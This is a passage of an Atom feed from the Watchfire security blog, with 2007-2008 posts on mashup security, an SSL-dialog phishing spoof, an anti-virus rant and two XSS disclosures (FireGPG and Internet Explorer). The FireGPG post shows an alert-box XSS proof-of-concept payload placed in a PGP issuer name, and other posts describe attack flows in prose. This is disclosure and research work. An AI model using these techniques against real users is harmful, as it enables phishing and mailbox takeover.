personally...&lt;/li&gt; &lt;li&gt;&lt;a href="http://www.cisco.com/en/US/products/ps9586/index.html" target="_blank"&gt;&lt;strong&gt;Cisco announces&lt;/strong&gt;&lt;/a&gt; their own stab at building a &lt;strong&gt;web application firewall&lt;/strong&gt; (WAF). I guess PCI 6.6. is kicking in :-) oh &lt;a href="http://www.cnn.com/TECH/computing/9909/07/ecomm.hack.idg/index.html" target="_blank"&gt;AppShield&lt;/a&gt;, where art thou? seriously now, I'm hearing and reading about WAFs everyday and in every blog - that's simply awesome to see that this market is finally picking up&lt;/li&gt; &lt;li&gt;&lt;a href="http://www.charlesproxy.com/" target="_blank"&gt;&lt;strong&gt;Charles&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;&amp;nbsp;&lt;/strong&gt;is my new best friend. I'm not sure if I've mentioned it before in this blog, but this HTTP Proxy simply kicks ass (and it supports AMF message tampering for those pesky Flash remoting apps). Next to firebug (and of course AppScan), this is probably one of the best tools to have in your arsenal. Check it out&lt;/li&gt; &lt;li&gt;Off topic - I just finished reading a book called "&lt;a href="http://www.amazon.com/Volunteer-Incredible-Israeli-International-Terrorists/dp/1602391327/ref=pd_bbs_sr_1?ie=UTF8&amp;amp;s=books&amp;amp;qid=1210497978&amp;amp;sr=8-1" target="_blank"&gt;The Volunteer: The Incredible True Story of an Israeli Spy on the Trail of International Terrorists&lt;/a&gt;", while I'm not sure how "true" this story is, I did enjoy the espionage parts of it. I strongly recommend it.&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;That's all for now, and don't forget - &lt;/p&gt; &lt;p&gt;&lt;a href="http://www-306.ibm.com/software/rational/events/rsdc2008/" target="_blank"&gt;&lt;img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="154" alt="SpeakerBanner1" src="http://blog.watchfire.com/wfblog/WindowsLiveWriter/SpeakerBanner1_1.jpg" width="154" border="0"&gt;&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=qC34RH"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=qC34RH" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=iEMRPH"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=iEMRPH" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=GD7P6h"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=GD7P6h" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/287964268" height="1" width="1"/&gt;</content>


    </entry>
    <entry>
        <title>SMash Your Head on Mashup Security</title>
        <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/2008/03/smash-your-head.html" />
        <link rel="replies" type="text/html" href="http://blog.watchfire.com/wfblog/2008/03/smash-your-head.html" thr:count="1" thr:updated="2008-04-17T04:30:13+03:00" />
        <id>tag:typepad.com,2003:post-47093354</id>
        <published>2008-03-16T13:46:19+02:00</published>
        <updated>2008-03-16T18:42:24+02:00</updated>
        <summary>I've been taking a close look at AJAX and Mashup security for a couple of weeks now, and I've stumbled upon two things which I thought I should blog about, so here goes: "AJAX Security" Book I've read several raving...</summary>
        <author>
            <name>Ory Segal</name>
        </author>
        <category scheme="http://www.sixapart.com/ns/types#category" term="AJAX Security" />
        
        
<content type="html" xml:lang="en-US" xml:base="http://blog.watchfire.com/wfblog/">
&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;p&gt;I've been taking a close look at AJAX and Mashup security for a couple of weeks now, and I've stumbled upon two things which I thought I should blog about, so here goes:&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;u&gt;"AJAX Security" Book&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;I've read several raving reviews on the "&lt;a href="http://www.amazon.com/Ajax-Security-Billy-Hoffman/dp/0321491939" target="_blank"&gt;AJAX Security&lt;/a&gt;" book by Billy Hoffman and Bryan Sullivan, and I'd like to join the reviewers and attest that this book is simply excellent. The book covers everything you need to know about AJAX security, including a thorough background, simple and clear examples, and it covers everything from regular web application security issues, to obscure Mashup security issues, and even offline Ajax applications (e.g. Google Gears, etc.). If you are into AJAX security, this book will definitely be a great companion. Kudos to Billy &amp;amp; Bryan!&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;u&gt;SMash&lt;/u&gt;&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;While reading the aforementioned AJAX security book, I've noticed that Mashup security is still in its infancy, and I was pondering on some of the problems that arise from mashing up contents from different trust domains into a single web page (obviously, originating from a single domain). The book talks about IFrame jails, and some of the issues with that solution, and even suggests some interesting techniques for securing mashups - but I wanted to direct your attention to a very interesting solution / technology that was built right here at IBM Research, and is freely available for everyone. This solution is called SMash (stands for Secure Mashups). Here's a short description of SMash from the OpenAjax web site: &lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;IBM Research has contributed an important and major set of open source technology called “SMash” (secure mashups) to OpenAjax Alliance. SMash is a set of technique and open source JavaScript that runs in today’s browsers (without extensions or plugins) and enables secure handling of 3rd party mashup components.  &lt;p&gt;SMash accomplishes its magic by placing mashup components in separate IFRAMEs (each using a different sub-domain). Cross-frame communications in today’s browsers is accomplished using the &lt;code&gt;window.location&lt;/code&gt; fragment identifier. The highest level mashup application manages all communications between itself and among the mashup components. Although the initial version uses &lt;code&gt;window.location&lt;/code&gt;, the SMash APIs are independent of any particular implementation approach and will still work if/when browsers add native support for secure cross-frame messaging.&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;You can find more technical information about SMash in the following IBM whitepaper - "&lt;a href="http://domino.research.ibm.com/comm/research_projects.nsf/pages/web_2.0_security.smash.html/$FILE/fp332-dekeukelaere.long.pdf" target="_blank"&gt;SMash: Secure Component Model for Cross-Domain Mashups on Unmodified Browsers&lt;/a&gt;"&lt;/p&gt; &lt;p&gt;Smash is offered for free through the &lt;a href="http://www.openajax.org/index.php" target="_blank"&gt;OpenAjax&lt;/a&gt; web site.&lt;/p&gt;&lt;/div&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=F8TqmJ"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=F8TqmJ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=bJut16F"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=bJut16F" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=XPNye5f"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=XPNye5f" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/252405456" height="1" width="1"/&gt;</content>


    </entry>
    <entry>
        <title>Reflections on SSL certificate validation dialogs</title>
        <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/2008/01/reflections-on.html" />
        <link rel="replies" type="text/html" href="http://blog.watchfire.com/wfblog/2008/01/reflections-on.html" thr:count="1" thr:updated="2008-01-28T19:43:17+02:00" />
        <id>tag:typepad.com,2003:post-44587374</id>
        <published>2008-01-27T10:39:00+02:00</published>
        <updated>2008-01-28T16:03:34+02:00</updated>
        <summary>Lately I've been messing around with SSL validation dialogs and I've found that they may help in conducting a phishing attack under certain circumstances. When an SSL site with a valid certificate includes an external resource (such as an iframe)...</summary>
        <author>
            <name>Roee Hay</name>
        </author>
        <category scheme="http://www.sixapart.com/ns/types#category" term="Research" />
        
        
<content type="html" xml:lang="en-US" xml:base="http://blog.watchfire.com/wfblog/">
&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;p&gt;Lately I've been messing around with SSL validation dialogs and I've found that they may help in conducting a phishing attack under certain circumstances.&lt;/p&gt;
&lt;p&gt;When an SSL site with a valid certificate includes an external resource (such as an iframe) which provides an invalid certificate (e.g: an expired certificate), IE6 or Firefox2 will pop up a dialog-box which to the naive user seems related to the browsed site, and not to an external content.&lt;/p&gt;
&lt;p&gt;So how can this be exploited you ask? Let's assume the attacker wants to impersonate to &lt;em&gt;&lt;span style="color: #2894ff"&gt;https://www.some.site/&lt;/span&gt;&lt;/em&gt; , which happens to have an expired certificate. The attacker will then register &lt;span style="color: #2894ff"&gt;&lt;em&gt;https://www.some.s1te/&lt;/em&gt; &lt;/span&gt;(or any other URL which is similar to &lt;span style="color: #2894ff"&gt;&lt;em&gt;www.some.site&lt;/em&gt;)&lt;/span&gt; and will get a valid certificate for it (this is not an easy task though). Then he will embed a hidden iframe which sources from &lt;span style="color: #2894ff"&gt;&lt;em&gt;&lt;span style="color: #2894ff"&gt;https://www.some.site/&lt;/span&gt;&lt;/em&gt;&lt;em&gt;.&lt;/em&gt;&lt;/span&gt; &lt;/p&gt;
&lt;p&gt;When the victim browses to &lt;em&gt;&lt;span style="color: #2894ff"&gt;https://www.some.s1te/&lt;/span&gt;&lt;/em&gt;&amp;nbsp; the browser will pop up a dialog message saying that the certificate has expired, but the Common Name of the certificate will be &lt;em&gt;&lt;span style="color: #2894ff"&gt;www.some.site&lt;/span&gt;&lt;/em&gt;!, This may convince the victim that he actually has surfed to &lt;em&gt;&lt;span style="color: #2894ff"&gt;www.some.site&lt;/span&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="center"&gt;&lt;strong&gt;This video demonstrates the issue under Internet Explorer 6:&lt;/strong&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;a href="http://www.vimeo.com/611626"&gt;&lt;img src="http://blog.watchfire.com/photos/watchfire/spoofdialogie6.jpg"&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p align="center"&gt;&lt;strong&gt;This video demonstrates the issue under Firefox 2.x.x:&lt;/strong&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;a href="http://www.vimeo.com/611639"&gt;&lt;img src="http://blog.watchfire.com/photos/watchfire/spoofdialogfirefox2.jpg"&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The problem is more severe under Internet Explorer 6 because it states that the remote peer is valid, and when you examine the certificate you notice that the Common Name is indeed the one that attacker is attempting to&amp;nbsp; impersonate.&lt;/p&gt;
&lt;p&gt;In Firefox 2.x the pop-up dialog does not state that the Common Name is valid, but if you know the internals of the certificate validation test you also know that the Common Name is checked before the certificate's expiration, so if Firefox pops up a window regarding the expiration invalidity, it means that the Common Name has passed the validation test, and when one examines the certificate, it will indeed contain the impersonated one, as illustrated in the above video.&lt;/p&gt;
&lt;p&gt;This problem is in fact inherent in the way the browsers present the error message. They don't distinguish between a failure of an external content's certificate validation test and a failure of the site's certificate validation test.&amp;nbsp; I would expect them to explicitly indicate that the certificate check is against an external source. Internet Explorer 7 actually does that, as illustrated below.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p align="center"&gt;&lt;strong&gt;This image illustrates a failure of a certificate validation check in IE7 against an external source cert:&lt;/strong&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://blog.watchfire.com/photos/watchfire/spoofgood.jpg"&gt; &lt;/p&gt;
&lt;p align="center"&gt;&lt;strong&gt;This image illustrates a failure of a certificate validity check in IE7 against the browsed site's cert:&lt;/strong&gt;&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://blog.watchfire.com/photos/watchfire/spoofgood2.jpg"&gt; &lt;/p&gt;
&lt;p&gt;I really like IE's solution because they could have implemented it by simply adding the missing information to the original dialog . The fact that they have two completely different error dialog windows makes the chance of a user mistakenly regarding the failure of an external certificate test as a failure of the browsed site certificate test minute or even zero.&lt;/p&gt;&lt;/div&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=hRHZIJ"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=hRHZIJ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=ivliWmD"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=ivliWmD" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=IAS25Wd"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=IAS25Wd" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/224578289" height="1" width="1"/&gt;</content>


    </entry>
    <entry>
        <title>Celebrating 20 Years of Anti-Virus</title>
        <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/2008/01/celebrating-20.html" />
        <link rel="replies" type="text/html" href="http://blog.watchfire.com/wfblog/2008/01/celebrating-20.html" thr:count="4" thr:updated="2008-01-28T19:36:57+02:00" />
        <id>tag:typepad.com,2003:post-44511306</id>
        <published>2008-01-22T22:12:18+02:00</published>
        <updated>2008-01-22T22:12:27+02:00</updated>
        <summary>20 years of Anti-Virus software and I still have to patch my machine at least once a month 20 years of Anti-Virus software and I still have to update my Anti-Virus with yesterday's signatures 20 years of Anti-Virus software and...</summary>
        <author>
            <name>Ory Segal</name>
        </author>
        
        
<content type="html" xml:lang="en-US" xml:base="http://blog.watchfire.com/wfblog/">
&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;ul&gt; &lt;li&gt;20 years of Anti-Virus software and I still have to patch my machine at least once a month&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software and I still have to update my Anti-Virus with yesterday's signatures&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software and I still need a personal firewall&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software and you still expect Mom &amp;amp; Pop to know if SVCHOST.EXE should be allowed to access the Internet or not&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software and when my Outlook decides suddenly to send my entire address book to some bloke in China, you can't figure out that I'm not doing this on purpose?!&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software and when my sister is tempted to double click on the cute "Dancing Pigs" file she got in her mail, her Registry gets corrupted, and files are installed in her C:\Windows\System32 directory&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software, and virus writers can still override operating system files without sweating&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software, and the first program to get infected is my Anti-Virus itself&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software and I still need to install the following: Anti-Virus, Personal Firewall, Adaware, Spybot, HijackThis, Windows Defender, etc. and at the end of the day, I'm still infected&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software and you still see new vendors entering this market, and even they can't figure out how to do it right&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software, and some snot-nosed kid who write a VBS file can outsmart the entire virus research teams combined&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software, and when I'm infected, I have to restart windows in "Safe-Mode", download some special infection removal tool from my Anti-Virus vendor, disable Windows System Restore, edit my registry manually, reboot and pray to the "Force" that this trick nailed it. Usually it doesn't&lt;/li&gt; &lt;li&gt;Wait Wait Wait, I have to repeat the last one - "Infection Removal Tool"???? from the same Anti-Virus vendor???? if you know how to remove it, why didn't you handle it in the first place?!@#!&lt;/li&gt; &lt;li&gt;20 years of Anti-Virus software, and every time I visit my parents' house, their computer is a part of a new botnet, and my dad is asking me: "How come I got infected, if I updated my Anti-Virus yesterday, and I didn't click on any malicious file?!"&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Folks, if after 20 years of Anti-Virus software, all of the above is correct, I think it's safe to say that this industry has failed &lt;strong&gt;us &lt;/strong&gt;(it didn't fail the vendors, since they are making a lot of money every year). The one thing I seriously don't understand is why we keep paying for Anti-Virus software, for our gateways and for our endpoints, if eventually we have to sit and decide if it is safe to click on some file that someone sent us. &lt;/p&gt; &lt;p&gt;Could it be that Anti-virus software became just a bullet on the CISO's checklist of must-haves? could it be that through FUD, we are forced to buy Anti-Virus software, that doesn't solve the problem for us?&lt;/p&gt; &lt;p&gt;What has the Anti-Virus industry been doing for the past 20 years except for updating signatures and counting the subscription money we pay them?&lt;/p&gt; &lt;p&gt;Let's hope that other security market segments will do better after 20 years...&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;See you at the 40th. anniversary.&lt;/p&gt; &lt;p&gt;-Ory&lt;/p&gt;&lt;/div&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=bFAfWI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=bFAfWI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=PwXe4I"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=PwXe4I" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=SsZHci"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=SsZHci" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/221178879" height="1" width="1"/&gt;</content>


    </entry>
    <entry>
        <title>(FireGPG) Browser-based XSS</title>
        <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/2007/12/firegpg-046-gma.html" />
        <link rel="replies" type="text/html" href="http://blog.watchfire.com/wfblog/2007/12/firegpg-046-gma.html" thr:count="3" thr:updated="2008-01-21T11:39:16+02:00" />
        <id>tag:typepad.com,2003:post-43266660</id>
        <published>2007-12-26T17:15:16+02:00</published>
        <updated>2007-12-26T18:48:23+02:00</updated>
        <summary>FireGPG is a Firefox extension which brings an interface to GPG functions. It's capable of signing, verifying, encrypting and decrypting text on the fly using GnuGPG. It also integrates with Gmail, making it possible to run GPG functions on mail...</summary>
        <author>
            <name>Roee Hay</name>
        </author>
        <category scheme="http://www.sixapart.com/ns/types#category" term="Research" />
        
        
<content type="html" xml:lang="en-US" xml:base="http://blog.watchfire.com/wfblog/">
&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;p&gt;FireGPG is a Firefox extension which brings an interface to GPG functions. It's capable of signing, verifying, encrypting and decrypting text on the fly using GnuGPG.&lt;/p&gt;
&lt;p&gt;It also integrates with Gmail, making it possible to run GPG functions on mail messages. One of its features is auto-verification of mail messages, which are detected as PGP-signed.&lt;/p&gt;
&lt;p&gt;After a mail message has been verified, it is printed below the message whether the signature matches the message and if it does, issuer name is printed as well. &lt;/p&gt;
&lt;p&gt;&lt;img src="http://blog.watchfire.com/photos/watchfire/firegpg_good.jpg"&gt; &lt;/p&gt;
&lt;p&gt;However (in version 0.46), the issuer name is not sanitized or validated against malicious input, so it makes FireGPG vulnerable to Cross Site Scripting. If the issuer name (which is provided with the public key) contains a malicious JavaScript, it will be executed under Gmail's context!. An XSS under Gmail allows the attacker to impersonate to the victim by controlling his mailbox, steal his cookies and so on. &lt;/p&gt;
&lt;p&gt;To exploit this vulnerability, the attacker sends the victim a message signed with his malicious PGP key, and then convinces him to import the attacker's public key block&amp;nbsp; (which contains the malicious issuer name). The key can be imported manually, or by using a public key repository. It is reasonable that the victim will not notice the malicious issuer name since public keys are usually distributed as base64 blocks, or identified by their Key ID when retrieved from a public key server. Once the victim views the signed message in his mailbox, FireGPG will automatically verify it and inject the malicious payload into Gmail's DOM, which is immediately&amp;nbsp; executed. The screenshot below illustrates an injection of a javascript into Gmail's DOM by setting the issuer name to "&lt;span face="Courier New"&gt;&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;"&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;img src="http://blog.watchfire.com/photos/watchfire/firegpg_mal.jpg"&gt; &lt;/p&gt;
&lt;p&gt;&lt;b&gt;This type of XSS is interesting because a browser bug leads to an XSS. it is both similar and dissimilar to DOM-based XSS.&amp;nbsp; It resembles to DOM-based XSS because the attack cannot be detected by the affected domain. But unlike DOM-based XSS, flaws of this variant are not originated from the developers of the affected domain.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Looking at FireGPG's case, Gmail is not responsible for the flaw, yet the XSS occurs under its DOM. Looking at Yair Amit's last post, the website which an HTML file is downloaded from is not responsible for the XSS, Internet Explorer is.&lt;/p&gt;
&lt;p&gt;It should be noted that FireGPG's team has been very responsive and it took them&amp;nbsp; about 21 hours since our disclosure to provide a remedy to the flaw. This shows they are security aware and are committed to the protection of their end-users. It is an excellent example of how to handle security related bugs correctly. Many vendors do not distinct security bugs from other bugs, IMHO this is a bad approach - security related bugs should be fixed as soon as possible, and not in the next service pack.&lt;/p&gt;&lt;/div&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=fZHKxI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=fZHKxI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=q50TJI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=q50TJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=hq39xi"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=hq39xi" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/206554914" height="1" width="1"/&gt;</content>


    </entry>
    <entry>
        <title>Internet Explorer Download Zones Mix-up leads to XSS</title>
        <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/2007/12/internet-explor.html" />
        <link rel="replies" type="text/html" href="http://blog.watchfire.com/wfblog/2007/12/internet-explor.html" thr:count="5" thr:updated="2008-01-08T23:13:36+02:00" />
        <id>tag:typepad.com,2003:post-43171806</id>
        <published>2007-12-23T16:34:06+02:00</published>
        <updated>2007-12-23T16:37:40+02:00</updated>
        <summary>Do you worry about security when downloading and opening HTML files from the Internet? I've been asking around over the past few days, and most people seem to feel they can rely on IE's My-Computer zone security restrictions to keep...</summary>
        <author>
            <name>Yair Amit</name>
        </author>
        <category scheme="http://www.sixapart.com/ns/types#category" term="Research" />
        
        
<content type="html" xml:lang="en-US" xml:base="http://blog.watchfire.com/wfblog/">
&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;p&gt;Do you worry about security when downloading and opening HTML files from the Internet? I've been asking around over the past few days, and most people seem to feel they can rely on IE's My-Computer zone security restrictions to keep safe. &lt;/p&gt;
&lt;p&gt;A few days ago, I discovered a security flaw in Internet Explorer that could - under certain conditions - be exploited against a large number of web-applications. The flaw results in XSS holes in websites that allow the downloading of user-controlled HTML files (for example, webmail and forum services). The websites themselves don't necessarily do anything wrong. Their susceptibility to attack is due to improper behavior by Internet Explorer. &lt;/p&gt;
&lt;p&gt;Same Origin Policy is supposed to ensure that once HTML is downloaded to the user's machine and opened locally, it can no longer access, or pose a threat to the source website – as it is no longer affiliated with that website's domain. Relying on browsers to apply this policy, websites frequently allow users to download original, unaltered versions of attachments, to their local-systems. Usually that's fine, but it seems that there is a download scenario in IE that does not follow this guideline. &lt;/p&gt;
&lt;p&gt;It turns out that if you download an HTML file via IE and click the "Open" button in the "File Download" dialog (a fairly common scenario), instead of IE displaying the content from the local hard-drive (in the My-Computer Security Zone, which is very restrictive by default) the HTML is displayed in the context of the domain from which the file was downloaded. This behavior is neither expected nor desired. &lt;/p&gt;
&lt;p&gt;If the downloaded HTML file contains a malicious JavaScript code, it will automatically be executed by Internet Explorer in the context of the original website. The risks this problematic behavior poses to IE users are equivalent to those of XSS. Since the problem lies with Internet Explorer and not any specific website, the risk to users is widespread. In effect it makes a large amount of websites susceptible to XSS to some extent. &lt;br&gt;In order to better describe the problem, let's consider the case of webmail services. Most webmail services offer a preview feature that allows the user to view an HTML version of attachments. The generated HTML is scanned and sanitized in order to ensure that it doesn't contain hazardous characters when embedded within the site.&lt;/p&gt;
&lt;p&gt;The same principle is applied to HTML attachments. When they are viewed in the context of the web-application, all potentially harmful content (such as scripts) is stripped. While these measures protect users from security threats such as XSS, the design and functionality of the HTML attachment file might be damaged as a result, and for this reason webmail services offer a "Download" feature that lets the user download the original content of the attachment. Surfers can – and frequently do – use the "Download" feature when the sanitized version of the attachment is not satisfactory. This fact might be taken advantage of by a malicious attacker trying to exploit the aforementioned flaw. &lt;/p&gt;
&lt;p&gt;While people are already educated to be suspicious of opening executable attachments, most people (and perhaps technical people in particular) are likely to open HTML attachments rather freely. HTML attachments are perceived as being with very small risk thanks to the My-Computer Zone protection mechanisms embedded in Internet Explorer. I therefore believe that despite the generic warning displayed in IE's "File Download" dialog (see "Flow of attack" section below), IE's improper behavior could be used by malicious attackers to mount attacks against visitors in a variety of web applications. &lt;/p&gt;
&lt;p&gt;Microsoft was notified about the problem, but decided to not flag it as a security threat that has to be fixed, relying on the general warning message embedded in the "File Download" dialog. &lt;/p&gt;
&lt;p&gt;For the reasons I described above, I believe it is important to warn users about this flaw, in order to help to mitigate the risk it poses to potential victims. &lt;/p&gt;
&lt;p&gt;A brief review of several popular web-applications (forum infrastructures and webmail services) has shown that the flaw described above is fully exploitable in many of them. Until this flaw is fixed, IE users are potential victims when visiting and downloading attachments in web-applications of this type. &lt;/p&gt;
&lt;p&gt;Vulnerable web-applications can protect their users by ensuring that the domain from which files are downloaded is different to that used by the code logic of the application itself. However, since this change isn't trivial, it's likely that many websites will remain vulnerable in the near future. &lt;/p&gt;
&lt;p&gt;I therefore recommend thinking twice before opening HTML attachments with the "Open" button in Internet Explorer. &lt;/p&gt;
&lt;h3&gt;&lt;u&gt;Flow of attack:&lt;/u&gt; &lt;/h3&gt;
&lt;p&gt;&lt;u&gt;&lt;/u&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Victim receives an HTML attachment and decides to download it in order to watch it properly. 
&lt;li&gt;Victim clicks on the "Open" button. &lt;br&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" alt="File Download Dialog" src="http://blog.watchfire.com/photos/watchfire/funnycensored.jpg" border="0"&gt;&amp;nbsp; &lt;li&gt;The HTML is displayed by Internet Explorer in the context of the source website. JavaScript embedded in the downloaded HTML file has full access to the resources of the source website, and can fully impersonate the victim on the source website while she/he is calmly viewing the supposedly innocent HTML attachment. &lt;br&gt;&lt;img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" alt="XSS Pop up" src="http://blog.watchfire.com/photos/watchfire/step3message.jpg" border="0"&gt; &lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;
&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=JLxOOI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=JLxOOI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=bAs7RI"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=bAs7RI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?a=Qh21vi"&gt;&lt;img src="http://feeds.feedburner.com/~f/WatchfireApplicationSecurityInsider?i=Qh21vi" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WatchfireApplicationSecurityInsider/~4/205139943" height="1" width="1"/&gt;</content>


    </entry>
    <entry>
        <title>Analyzing the Effectiveness and Coverage of Web Application Security Scanners - Take II</title>
        <link rel="alternate" type="text/html" href="http://blog.watchfire.com/wfblog/2007/12/analyzing-the-e.html" />
        <link rel="replies" type="text/html" href="http://blog.watchfire.com/wfblog/2007/12/analyzing-the-e.html" thr:count="2" thr:updated="2008-02-04T21:03:49+02:00" />
        <id>tag:typepad.com,2003:post-42377864</id>
        <published>2007-12-03T22:26:21+02:00</published>
        <updated>2007-12-04T16:57:03+02:00</updated>
        <summary>The following is an overview taken from my whitepaper that discusses Larry Suto's recent paper "Analyzing the Effectiveness and Coverage of Web Application Security Scanners". Suto's paper, as you may or may not know, caused some stir in the industry,...</summary>
        <author>
            <name>Ory Segal</name>
        </author>
        
        
